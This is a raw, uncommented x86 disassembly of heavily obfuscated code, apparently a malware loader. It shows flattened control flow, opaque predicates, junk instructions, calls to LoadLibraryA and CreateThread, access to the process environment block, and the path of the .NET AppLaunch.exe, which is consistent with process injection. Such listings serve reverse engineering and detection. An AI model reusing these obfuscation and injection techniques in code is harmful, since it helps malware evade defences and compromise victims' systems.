jmp 0x402100
cmp eax, 0xb6461ef0
je 0x40bf8d
cmp eax, 0xb7e500c3
jne 0x402100
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x168]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
add eax, dword [ebp - 0x160]
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xa0], eax
test eax, eax
mov eax, 0x368ac2bc
mov ecx, 0x31dffdb3
cmove eax, ecx
jmp 0x402100
cmp eax, 0x337ae148
je 0x40c136
cmp eax, 0x3490ee0a
jne 0x402100
mov eax, 0xf6ebaad6
jmp 0x402100
cmp eax, 0xf4532223
je 0x40c16b
cmp eax, 0xf503c036
jne 0x402100
mov ecx, dword fs:[0x30]
vmovups ymm1, ymmword [0x42b1a0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x42b1c0]
mov eax, dword [ecx + 0xc]
mov edx, dword [ebp - 0x64]
mov eax, dword [eax + 0x14]
mov edx, dword [ebp - 0x64]
add eax, 0xfffffff8
mov dword [edx], eax
or eax, 0x1c
neg eax
add esi, 0x76
sub esi, 0x27
rcl ebx, 0x56
or edx, 0xcf
neg esi
not ebx
imul eax
rcr esi, 0xe1
sub ebx, 0xd1
not eax
bswap ebx
rcl esi, 0xc3
bswap edi
inc eax
add esi, 0xed
rcr edx, 0x38
add edx, 0x3f
rcl eax, 0x7c
and ebx, 0x61
rcl edi, 0xa4
neg edx
inc esi
bswap esi
and edi, 0x1d
sbb esi, 0xcb
sbb eax, 0xa8
not edi
not ebx
sub edx, 0x82
rol edi, 1
dec esi
sbb edi, 0x35
imul edi
rcr esi, 0xcf
and eax, 0x1c
or edx, 0x73
or edx, 0
inc edi
rcr eax, 0x74
mov edx, 0x7e
mov eax, 0x52
sub eax, 0x77
rcr edx, 0xc1
add eax, 0xa3
dec ebx
bswap edx
not edi
or edi, 0x8c
rcr eax, 1
ror edx, 0x9c
bswap edx
rcr ebx, 0xab
neg ebx
bswap eax
imul edi
imul edi
neg esi
dec eax
imul ebx
mov edi, 0xc
neg eax
dec ebx
not eax
inc esi
bswap ebx
bswap eax
or esi, 0x2e
mov esi, 4
rol ebx, 0x3f
mov ebx, 0x5d
inc edx
sbb edi, 0xf5
inc ebx
rcr ebx, 0xc1
ror ebx, 0x90
imul edx
inc edi
and edi, 0x66
imul eax
inc edx
or eax, 0xc0
ror esi, 0x73
add edx, 0x29
dec edi
not esi
rol ebx, 0x46
bswap esi
not esi
rcr eax, 0x6d
imul eax
sub ebx, 0xb1
and ebx, 0xf
imul esi
or eax, 0x59
rcr esi, 0x12
imul edx
not edi
and eax, 0x97
sbb edi, 0xd8
ror esi, 0x37
neg edx
bswap ebx
inc eax
dec edx
rcr edi, 0x76
not esi
bswap eax
ror eax, 0x2e
rol esi, 0x6d
rcr ebx, 0x83
and edx, 0xed
bswap esi
ror edi, 0x18
neg edi
not esi
rcr edx, 0x50
imul eax
or edx, 0xf5
dec edi
imul edi
sbb edx, 0x6a
rcr ebx, 0xf8
rcl edx, 0xde
inc edx
add esi, 0xdf
rcl eax, 0x71
dec esi
imul edx
not edi
rol ebx, 0x18
and ebx, 0x89
rcr edx, 0x54
imul esi
sub edi, 0xe9
rcr eax, 0x40
not eax
rcl eax, 0x1f
mov edi, 0xfe
rcr esi, 0xe3
and esi, 7
bswap edx
rol eax, 0x54
dec edi
and ebx, 0xbd
rcl ebx, 0xd0
rcl edi, 0x29
inc ebx
not esi
mov edx, dword [ebp - 0x20]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov dword [eax + 0x18], edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
add eax, 0x24
mov dword [ecx], eax
sub edi, 0xcd
sbb ebx, 0x87
rcl edx, 0xa4
dec esi
imul edx
rcr edi, 0x44
sub ebx, 0x20
rcl ebx, 0xf3
sub edx, 0x6a
imul eax
neg edx
rcl eax, 0x69
bswap edx
neg esi
sbb edi, 0x7c
dec esi
rcr edi, 0x2e
add esi, 0x1c
neg edx
imul esi
bswap eax
or esi, 0x74
dec ebx
inc esi
neg edi
rol eax, 0x80
and ebx, 0x23
inc ebx
mov esi, 0xed
mov edi, 0x57
dec edi
dec edi
not ebx
inc esi
ror ebx, 0x5f
bswap esi
imul esi
neg eax
imul edi
inc esi
rcr ebx, 0xf6
add esi, 0xfa
add eax, 0xa
mov edi, 0xe4
mov ebx, 0x40
ror edx, 0x4c
ror edi, 0xe1
dec esi
dec edx
not edx
inc edi
not edi
add ebx, 0x1e
imul esi
dec esi
neg esi
dec esi
neg edx
and esi, 0x19
or esi, 0x17
dec esi
rcr eax, 0xfd
rcr eax, 0x34
rol eax, 0x86
rol edi, 0x24
dec edx
bswap eax
rcr esi, 0x5b
inc eax
or ebx, 0x82
inc eax
bswap eax
rcr eax, 0xa1
add edx, 0x4e
ror edi, 0x18
dec edx
ror esi, 0xd9
not eax
ror eax, 0x36
rol edi, 0xd
rcr ebx, 0x92
imul ebx
ror edi, 0x52
rol esi, 0xde
dec ebx
rcl edi, 0x63
not edx
dec ebx
ror edx, 0x15
inc eax
mov eax, 0xc5
sbb eax, 0xbe
neg esi
sub edx, 0x82
mov ebx, 0x11
imul edi
bswap ebx
ror esi, 0x63
mov edx, 0xa8
rcr esi, 0xcb
bswap esi
rcr eax, 0x12
rcl eax, 0x40
add esi, 0x1d
ror edi, 0x12
ror ebx, 0xbe
ror eax, 0x48
not ebx
imul eax
sub edx, 0x92
sbb esi, 0xdc
dec ebx
rcl eax, 0x36
rcl esi, 0x2f
imul edi
dec ebx
rcr edx, 0xce
or ebx, 0xdc
imul edi
sub edi, 0x5b
inc edx
or edx, 0x34
rol esi, 0x51
sub esi, 0x44
bswap edi
rcr edx, 0xca
rcr esi, 0x5e
bswap eax
imul edx
sbb ebx, 0xeb
ror ebx, 0x37
imul esi
rcr esi, 7
add esi, 0x52
neg ebx
sub eax, 0x59
and edi, 0x4b
imul esi
bswap ebx
neg eax
or esi, 0x4d
ror edx, 4
sub eax, 0x5e
dec ebx
dec edi
ror edi, 0xde
inc edi
sub edx, 0x35
mov eax, 0x9a
inc edi
mov dword [ebp - 0x2c], eax
mov ecx, 0x8629ae46
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x42b1d8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x28]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x50]
setne byte [eax]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x50]
cmp byte [eax], 0
mov eax, 0x2cab1874
cmove eax, ecx
jmp 0x402100
cmp eax, 0x7a18ff76
je 0x40c19a
cmp eax, 0x7b47de5c
jne 0x402100
mov eax, 0xb35ab128
jmp 0x402100
cmp eax, 0x8ccc55b3
je 0x40c1b0
cmp eax, 0x8e4858e8
jne 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xaca5f46
mov esi, ecx
and esi, 0xf535a0b9
mov edi, ecx
or edi, 0x403524d8
and ecx, 0xf2f7a90b
or edx, esi
and edi, 0xc2b7b6d8
mov esi, edx
xor edx, 0x40352098
xor esi, 0x84100
or edx, 0x82829200
and esi, 0x24084101
and edx, 0xc2b7b6d8
or esi, edx
mov edx, eax
and edx, 0x19400826
and eax, 0xd0856f4
or edx, edi
or eax, ecx
xor edx, esi
xor eax, 0xd0856f4
mov esi, edx
not esi
and edx, 0x255d0a4d
and esi, 0xdaa2f5b2
or edx, esi
mov esi, edx
xor esi, 0x602811
xor edx, 0xb8851000
and edx, 0xf9855784
and esi, 0x67aa87b
or esi, edx
xor esi, 0x67aa87b
or eax, esi
mov esi, 0x9579b32
mov ecx, eax
not ecx
and eax, 0xf4d18d63
and ecx, 0xb2e729c
or eax, ecx
xor eax, 0xf4d18d63
setne dl
sete ah
cmp dword [0x4ba778], 0xa
setge al
setl cl
mov ch, al
and cl, dl
xor ch, ah
and ah, al
or cl, ah
and ch, al
xor al, dl
mov ah, cl
mov edx, ecx
or al, ch
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
or ah, al
xor dl, 1
or dl, cl
mov ecx, edx
and dl, al
xor al, 1
xor cl, 1
and cl, al
mov al, ah
or dl, cl
mov ecx, 0xcf2437b5
xor al, dl
test al, 1
cmovne ecx, esi
test ah, ah
mov eax, 0xcf2437b5
jmp 0x406e07
cmp eax, 0x7dfde7a
je 0x40c2bc
cmp eax, 0x872d5a9
jne 0x402100
mov eax, dword [0x4ba77c]
mov ebx, 0x77a42f07
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xe8900042
mov edx, eax
and edx, 0x5652a00
and eax, 0x556b999a
or esi, edx
mov edx, ecx
xor edx, 0xedf52a42
and edx, ecx
xor esi, 0xe8900042
and ecx, 0xaa946665
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xf7b5c6af
and esi, 0x84a3950
or edx, esi
mov esi, edx
xor esi, 0x10408888
xor edx, 0xe5bf1313
mov edi, edx
and edi, 0xaa946665
and esi, 0x556b999a
or esi, edi
mov edi, dword [ebp - 0x20]
xor eax, esi
mov esi, 0x8c132a71
xor edx, eax
test edx, eax
setne dl
cmp dword [0x4ba778], 0xa
mov dword [ebp - 0xec], edi
setl al
setge cl
mov ah, al
or al, dl
xor ah, dl
xor al, 1
not ah
and ah, dl
or al, ah
mov ah, dl
xor ah, cl
or cl, dl
xor al, 1
xor cl, 1
or cl, ah
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor dl, 1
xor al, dl
or cl, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x77a42f07
cmovne eax, esi
test cl, 1
cmovne eax, ebx
test dl, 1
mov edx, dword [ebp - 0x28]
cmove eax, esi
mov dword [ebp - 0xf0], edx
jmp 0x402100
cmp eax, 0xd099f831
je 0x40c2d6
cmp eax, 0xd33dc843
jne 0x402100
mov eax, 0x82f05c43
jmp 0x402100
cmp eax, 0x4db7d0f3
je 0x40c2e0
cmp eax, 0x4e48966e
jne 0x402100
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x44], eax
mov eax, 0x67e3423a
jmp 0x402100
cmp eax, 0xae5bd2fb
je 0x40c2ea
cmp eax, 0xaeec6174
jne 0x402100
mov eax, dword [ebp - 0xa4]
mov eax, 0xf18501a0
jmp 0x402100
cmp eax, 0x2cab1874
je 0x40c4b1
cmp eax, 0x2d5d14bc
jne 0x402100
mov eax, 0x8b96bc75
jmp 0x402100
cmp eax, 0xefea8694
je 0x40c4f6
cmp eax, 0xf06289a1
jne 0x402100
mov eax, dword [ebp - 0x110]
add eax, 0xc
mov dword [ebp - 0x114], eax
mov eax, 0x95579c8f
jmp 0x402100
cmp eax, 0x69427666
je 0x40c51f
cmp eax, 0x69ee4556
jne 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x2e5774ae
and eax, 0xd1a88b51
or ecx, eax
mov eax, ecx
xor eax, 0x1604ac
xor ecx, 0x90a80811
and ecx, 0xbee97813
and eax, 0x411687ec
or eax, ecx
mov ecx, eax
mov edx, eax
xor ecx, 0xb4282011
xor edx, 0x411687ec
xor eax, 0x6205002
mov esi, edx
and esi, 0xad7d806
and ecx, 0xf52827f9
or edx, 0x61048684
and eax, 0x6205142
or ecx, esi
and edx, 0xf94eaea4
mov edi, ecx
xor edi, 0x48004
mov esi, ecx
xor esi, 0x19
or eax, edx
or edi, 0x984a2820
and esi, 0x910019
and edi, 0xf94eaea4
or esi, edi
xor eax, esi
mov esi, 0xdeb5f308
mov edx, eax
not edx
and eax, 0x6195869c
and edx, 0x9e6a7963
or eax, edx
mov edx, ecx
xor edx, 0xb00803f8
xor ecx, 0xa469000
or edx, 1
and ecx, 0x4f66b400
and edx, 0xb0994bff
or edx, ecx
xor edx, 0xb0994bff
or edx, eax
mov eax, edx
not eax
and edx, 0x890632f5
and eax, 0x76f9cd0a
or edx, eax
mov eax, edx
xor eax, 0x88043034
xor edx, 0x52d8c90a
and edx, 0x53dacbcb
and eax, 0xac253434
or eax, edx
mov ecx, eax
xor ecx, 0x12980a89
xor eax, 0xac253434
mov edx, eax
and edx, 0x4d66f142
and ecx, 0xb2990ebd
or ecx, edx
xor ecx, 0xb2990ebd
or ecx, eax
xor ecx, 0xffffffff
sete dl
setne al
cmp dword [0x4ba778], 0xa
setge cl
mov ah, cl
xor ah, al
or al, cl
or cl, dl
mov ch, al
and ah, dl
xor cl, 1
xor ch, 1
or cl, ah
mov dl, ch
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ch
mov ah, dl
xor ah, 1
and ah, cl
xor cl, 1
and dl, cl
or cl, al
or dl, ah
mov ch, cl
mov eax, 0xdc2a89fa
xor ch, dl
test cl, cl
cmovne eax, esi
test dl, 1
mov edx, 0xdc2a89fa
cmove eax, esi
mov esi, dword [ebp - 0x78]
test ch, 1
cmove eax, edx
mov dword [ebp - 0x118], esi
jmp 0x402100
cmp eax, 0x9b300efe
je 0x40c7da
cmp eax, 0x9b86de71
jne 0x402100
mov ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x8c]
add eax, dword [ecx + 4]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x150], eax
mov eax, 0xc75dcb5d
jmp 0x402100
cmp eax, 0x18c11313
je 0x40c7e4
cmp eax, 0x190c8707
jne 0x402100
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x20]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov ecx, dword [0x4ba77c]
cmp byte [eax], 0
lea eax, [ecx + 1]
setne byte [ebp - 0x5c]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xc1a58120
mov esi, ecx
and esi, 0x42580b
or ecx, 0x80804903
or edx, esi
and ecx, 0x929049c3
mov esi, edx
xor esi, 0x41258020
xor edx, 0x121048c3
and edx, 0x929049c3
and esi, 0x41679028
or esi, edx
mov edx, eax
and edx, 0x2c082614
or edx, ecx
xor edx, esi
mov esi, 0xf4532223
mov ecx, edx
not ecx
and edx, 0xc1e7d92a
and ecx, 0x3e1826d5
or edx, ecx
mov ecx, edx
not ecx
and edx, eax
andn eax, eax, ecx
or edx, eax
xor ecx, edx
test ecx, edx
sete ah
setne dl
cmp dword [0x4ba778], 0xa
mov dh, ah
setl ch
setge cl
mov al, ch
or dh, cl
or al, dl
and dl, ch
mov ch, cl
xor ch, ah
mov ebx, eax
or al, dh
and ch, cl
and cl, ah
xor bl, dh
xor al, 1
or cl, dl
or al, bl
or cl, ch
xor al, 1
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x5e165ef
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x5e165ef
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x402100
cmp eax, 0xdd90b119
je 0x40c967
cmp eax, 0xddb9cfac
jne 0x402100
mov eax, 0x6a94ad0c
jmp 0x402100
cmp eax, 0x5b732ece
je 0x40c971
cmp eax, 0x5eae908d
jne 0x402100
mov eax, dword [0x4ba77c]
mov edi, 0xf8f7783
mov dword [ebp - 0x24], 0xc
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xfffffffe
not esi
mov edx, esi
and eax, ecx
and edx, 0xfffffffe
and esi, 0x5ea7df67
and ecx, 0xa1582098
or eax, edx
or ecx, esi
mov edx, eax
not edx
mov esi, eax
and esi, 0x102855e0
and edx, 0xefd7aa1f
or edx, esi
mov esi, ecx
xor esi, 0xa1502018
xor ecx, 0x5ea7df67
or eax, ecx
and ecx, 0x102855e0
and esi, 0xefd7aa1f
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x983dde23
mov ecx, eax
not ecx
and eax, 0x77d1cbdc
and ecx, 0x882e3423
or eax, ecx
xor eax, 0x77d1cbdc
setne al
sete dl
cmp dword [0x4ba778], 0xa
setge cl
setl ah
xor al, cl
or ah, dl
xor cl, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
mov ah, cl
or al, dl
xor ah, 1
mov edx, eax
not dl
and dl, cl
or cl, al
and al, ah
or al, dl
mov dh, cl
xor dh, al
test al, al
mov eax, 0xf8f7783
cmovne eax, esi
test cl, 1
cmovne eax, edi
test dh, 1
cmove eax, esi
jmp 0x402100
cmp eax, 0xc0989689
je 0x40cb5d
cmp eax, 0xc19c68bb
jne 0x402100
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x128], eax
mov eax, 0x14afed9e
jmp 0x402100
cmp eax, 0x3bab40d8
je 0x40cc4b
cmp eax, 0x3cc87e3a
jne 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x3841ec02
and ecx, 0xc7be13fd
or eax, ecx
mov edx, eax
xor edx, 0x3841ec02
xor eax, 0xc7be13fd
mov ecx, edx
or ecx, 0x41920548
mov esi, eax
or esi, 0x280012
mov edi, eax
and edi, 0x820032a5
and ecx, 0x41ba055a
and esi, 0x41ba055a
or edi, ecx
mov ecx, edx
and ecx, 0x3c45c800
and edx, 0x77e7f60f
or ecx, esi
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0xa4ca9376
and esi, 0x5b356c89
or ecx, esi
mov esi, eax
and esi, 0x881809f0
and eax, 1
or esi, edx
mov edx, ecx
xor edx, 0x26608040
xor ecx, 0xd91d5e3f
xor esi, 0x77e7f60e
and edx, 0xf679ce49
or eax, esi
mov esi, eax
not esi
and eax, 0x432b0ba2
and esi, 0xbcd4f45d
or eax, esi
mov esi, ecx
and esi, 0x98631b6
or edx, esi
mov esi, eax
xor esi, 0x42290a00
xor eax, 0xbcd4f45d
or ecx, eax
and eax, 0x98631b6
and esi, 0xf679ce49
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x533e670a
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xd514ce76
and eax, 0x2aeb3189
or eax, edx
xor eax, 0x2aeb3189
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x4ba778], 0xa
mov ch, al
setl ah
setge cl
or cl, al
xor al, ah
or ch, ah
not al
mov edx, ecx
and al, ah
mov ah, ch
xor dl, 1
xor al, 1
xor ah, al
or al, ch
xor al, 1
or al, ah
mov ah, al
mov ch, al
or al, dl
xor ah, 1
xor al, 1
and ch, cl
and dl, ah
xor ah, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xc44a8b09
cmovne ecx, esi
test al, 1
mov eax, 0xc44a8b09
cmovne eax, ecx
jmp 0x40aee2
cmp eax, 0xfc96f8c5
je 0x40ce29
cmp eax, 0xfd8530b4
jne 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x8a71e660
and eax, 0xe403dab0
mov esi, ecx
and esi, 0x758e199e
or edx, esi
mov esi, edx
xor esi, 0x308460
xor edx, 0x710e0119
and edx, 0xfb4f6319
and esi, 0x4b09ce6
or esi, edx
mov edx, ecx
or edx, 0xfb4f6318
and ecx, 0x1bfc254f
and edx, 0xfb4f6319
or eax, ecx
mov ecx, eax
xor edx, esi
xor ecx, 0xe403dab0
xor eax, 0x1bfc254f
mov esi, 0x2b295f9f
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
sete cl
cmp dword [0x4ba778], 0xa
setge dl
mov eax, edx
mov ch, dl
inc al
mov ah, al
or al, cl
and ah, dl
xor al, 1
xor ah, 1
xor ch, ah
or ah, dl
xor ah, 1
or ah, ch
mov ch, dl
or ch, cl
xor ah, cl
and cl, dl
mov edx, 0x4419304d
xor ch, 1
or al, ah
or ch, cl
xor al, ch
and ch, al
mov cl, al
xor cl, ch
test cl, 1
cmovne edx, esi
test al, 1
mov eax, 0x4419304d
cmovne eax, edx
jmp 0x40ab2c
cmp eax, 0x73dbfebb
je 0x40cec4
cmp eax, 0x755ab286
jne 0x402100
bswap ebx
bswap edx
and edi, 0x97
bswap edi
or edi, 0x6c
rol edi, 0x1b
not edx
neg esi
sbb edi, 0x8d
bswap eax
sub edi, 0x45
dec esi
sub edx, 0xc9
inc ebx
not esi
and esi, 0x62
and ebx, 4
or esi, 0xa3
mov edi, 4
mov ebx, 0x94
sub edi, 0x17
dec edi
sbb esi, 0x79
bswap edx
dec ebx
mov eax, 0x63
imul edx
and eax, 0x16
neg eax
add esi, 0x7d
rcl esi, 0x89
inc ebx
or esi, 0xf2
neg edx
not edx
rcl edi, 0xb
inc edx
and esi, 0xb9
neg eax
add esi, 0x17
dec eax
sub ebx, 0x23
bswap edi
inc edi
ror eax, 0x18
and ebx, 0xfe
sub ebx, 0x42
sbb eax, 0xd1
not edi
bswap eax
not eax
bswap edx
rol edx, 0xcd
not edx
ror ebx, 0xd3
mov eax, 0x94
sbb eax, 0x2e
dec edx
rol edx, 0xb7
neg edx
imul edx
sbb esi, 0x57
not edx
imul edx
imul eax
neg edi
not eax
rol esi, 0xb1
sub esi, 0xbb
rcr edx, 1
sub edi, 0xb2
sub ebx, 0xc0
mov edi, 0x11
dec edi
rol esi, 0x5c
mov edx, 0xa9
and eax, 0x67
rcr ebx, 0x8d
inc eax
ror edi, 0x53
imul edx
imul ebx
and esi, 0x7e
ror esi, 0x2c
rcl ebx, 0xaf
sbb eax, 0x6b
sub esi, 0xe9
neg esi
ror edx, 0xfe
rcl ebx, 0x7d
or edi, 0xfe
dec edi
mov edx, 0x67
mov eax, 0xc7
and eax, 0x73
rcr edx, 0x70
inc edi
imul edx
inc ebx
sbb ebx, 0x8e
rcr esi, 0x23
neg esi
rcl edi, 0x4b
sub ebx, 0x68
rol esi, 0x2c
neg edx
bswap ebx
ror ebx, 0x11
bswap eax
rcr esi, 0xc5
bswap esi
imul eax
mov edi, 0x49
neg edi
imul edx
or ebx, 0xcf
imul edx
or eax, 0x9a
neg esi
bswap edi
imul ebx
imul edi
mov esi, 0xe5
dec edi
rol ebx, 0xcf
or edi, 0xe0
not edi
bswap edi
mov edi, 0xe4
bswap edx
or eax, 0xe5
bswap eax
imul edi
rcr ebx, 3
sbb edi, 0x58
mov edi, 0xa2
ror edi, 0xf6
bswap edx
add ebx, 0xb1
sbb edx, 0x34
bswap edi
rcr edx, 0xf1
bswap edi
not ebx
rol edi, 0xca
bswap esi
inc ebx
or ebx, 0xe1
imul edx
neg eax
mov ecx, dword [0x4ba77c]
mov dword [ebp - 0x2c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x8bb753ef
mov edx, eax
not edx
and ecx, eax
or eax, 0x7448ac10
and edx, 0x882710a8
mov esi, eax
and esi, 0x13d8e747
or edx, esi
mov esi, ecx
not esi
and ecx, 0xec2718b8
or eax, esi
and esi, 0x13d8e747
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa6244f17
and ecx, 0x59dbb0e8
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xc2602300
xor ecx, 0x2d931cf8
xor eax, 0xd26c4436
mov esi, ecx
and edx, 0xcae23f70
and esi, 0x351dc08f
and eax, ecx
or esi, edx
mov ecx, esi
xor ecx, 0x351dc08f
xor esi, 0x2400420
mov edx, ecx
and edx, 0xffff58ce
and esi, 0x16488422
or eax, edx
mov edx, eax
not edx
and eax, 0xbde01a5e
and edx, 0x421fe5a1
or eax, edx
mov edx, ecx
and edx, 0xe9b77bdd
and ecx, 1
or edx, esi
xor eax, 0x421f4291
mov esi, 0xd5789952
xor edx, 0x16488423
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xf04d59c6
and edx, 0xfb2a639
or ecx, edx
xor ecx, 0xf04d59c6
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xa08455d3
and eax, 0x5f7baa2c
or ecx, eax
xor ecx, 0xa08455d3
sete al
setne dl
cmp dword [0x4ba778], 0xa
setge cl
or dl, cl
xor al, cl
xor dl, 1
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
mov edx, ecx
or al, cl
xor dl, al
not dl
test dl, 1
mov edx, 0x5b45e3d1
cmovne edx, esi
test al, al
mov eax, 0xd5789952
jmp 0x40baec
cmp eax, 0x84dfd059
je 0x40cfc7
cmp eax, 0x85984f5b
jne 0x402100
cmp byte [ebp - 0x5b], 0
mov eax, 0x6721335
mov ecx, 0x865dee65
cmovne eax, ecx
jmp 0x402100
cmp eax, 0x9bb45
je 0x40d15a
cmp eax, 0x5a2ea6
jne 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xfffffffe
andn edx, eax, edx
and eax, 0xb7e02219
and ecx, 0x481fdde6
or ecx, eax
mov eax, edx
not eax
and edx, 0xef2cadd4
mov edi, ecx
xor edi, 0x480c8dc4
xor ecx, 0xb7e02218
mov esi, eax
and esi, 0x10d3522b
or eax, ecx
and ecx, 0x10d3522b
and edi, 0xef2cadd4
or edx, esi
or edi, ecx
not eax
xor edi, edx
or eax, edi
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xb08aea7e
and ecx, 0x4f751581
or ecx, edx
xor ecx, 0x4f751581
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x4ba778], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov ch, cl
mov eax, 0xc58f7b1e
xor dl, 1
xor ch, dl
or dl, cl
mov cl, dl
xor cl, ch
test dl, dl
mov edx, 0xd74b6a85
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, cl
mov edx, 0xc58f7b1e
cmove eax, edx
jmp 0x402100
cmp eax, 0xc5924edc
je 0x40d231
cmp eax, 0xc75dcb5d
jne 0x402100
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x80], eax
mov eax, 0x65b99256
jmp 0x402100
cmp eax, 0x4230728e
je 0x40d247
cmp eax, 0x43ce6416
jne 0x402100
mov eax, 0xd08f4f5c
jmp 0x402100
cmp eax, 0xa0ec6889
je 0x40d251
cmp eax, 0xa0ed4ebc
jne 0x402100
mov eax, dword [ebp - 0x104]
movzx eax, word [eax]
add eax, dword [ebp - 0x100]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x4c], eax
mov eax, 0x9db7fcf9
jmp 0x402100
cmp eax, 0x21a89b96
je 0x40d2f7
cmp eax, 0x22c8a117
jne 0x402100
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x178]
mov dword [ecx + eax*4], edx
mov eax, 0xfc6a19c
jmp 0x402100
cmp eax, 0xe1a3733a
je 0x40d301
cmp eax, 0xe45ccb42
jne 0x402100
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xa4], eax
mov eax, 0x71211732
jmp 0x402100
cmp eax, 0x6133ca76
je 0x40d30b
cmp eax, 0x62701b0c
jne 0x402100
mov eax, dword [ebp - 0x28]
mov ecx, dword [0x4ba77c]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xf8], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x84e5c0e7
mov esi, edx
and esi, 0x7b1a3f18
and edx, 0x65da154f
or ecx, esi
mov edi, ecx
xor ecx, 0x690a3908
xor edi, 0x21
or ecx, 0x96b446d4
and edi, 0x21082029
mov esi, ecx
and esi, 0xcec39bd6
or edi, esi
mov esi, eax
xor esi, 0x694bb92b
and esi, eax
and eax, 0x9a25eab0
mov ebx, esi
not ebx
and esi, 0x313c6429
or eax, edx
or ecx, ebx
and ebx, 0xcec39bd6
mov edx, eax
xor eax, 0x65da154f
xor edx, 0x9a25eab0
or esi, ebx
not ecx
xor esi, edi
mov edi, 0x307982dd
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xe9d70ca7
and esi, 0x1628f358
or ecx, esi
mov esi, ecx
xor esi, 0x809cb58d
xor ecx, 0x7f634a72
and eax, esi
and edx, ecx
mov esi, 0x9d4ddba2
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x4ba778], 0xa
setge dl
mov ah, dl
and al, dl
or dl, cl
mov ch, dl
mov ebx, edx
inc ah
xor ch, 1
and ah, cl
and bl, ch
or al, ah
xor bl, 1
xor al, 1
or bl, ch
xor bl, 1
or bl, dl
xor bl, al
or al, dl
mov edx, eax
xor dl, bl
test dl, 1
cmovne edi, esi
test al, al
mov eax, 0x307982dd
cmovne eax, edi
test bl, 1
cmove eax, edi
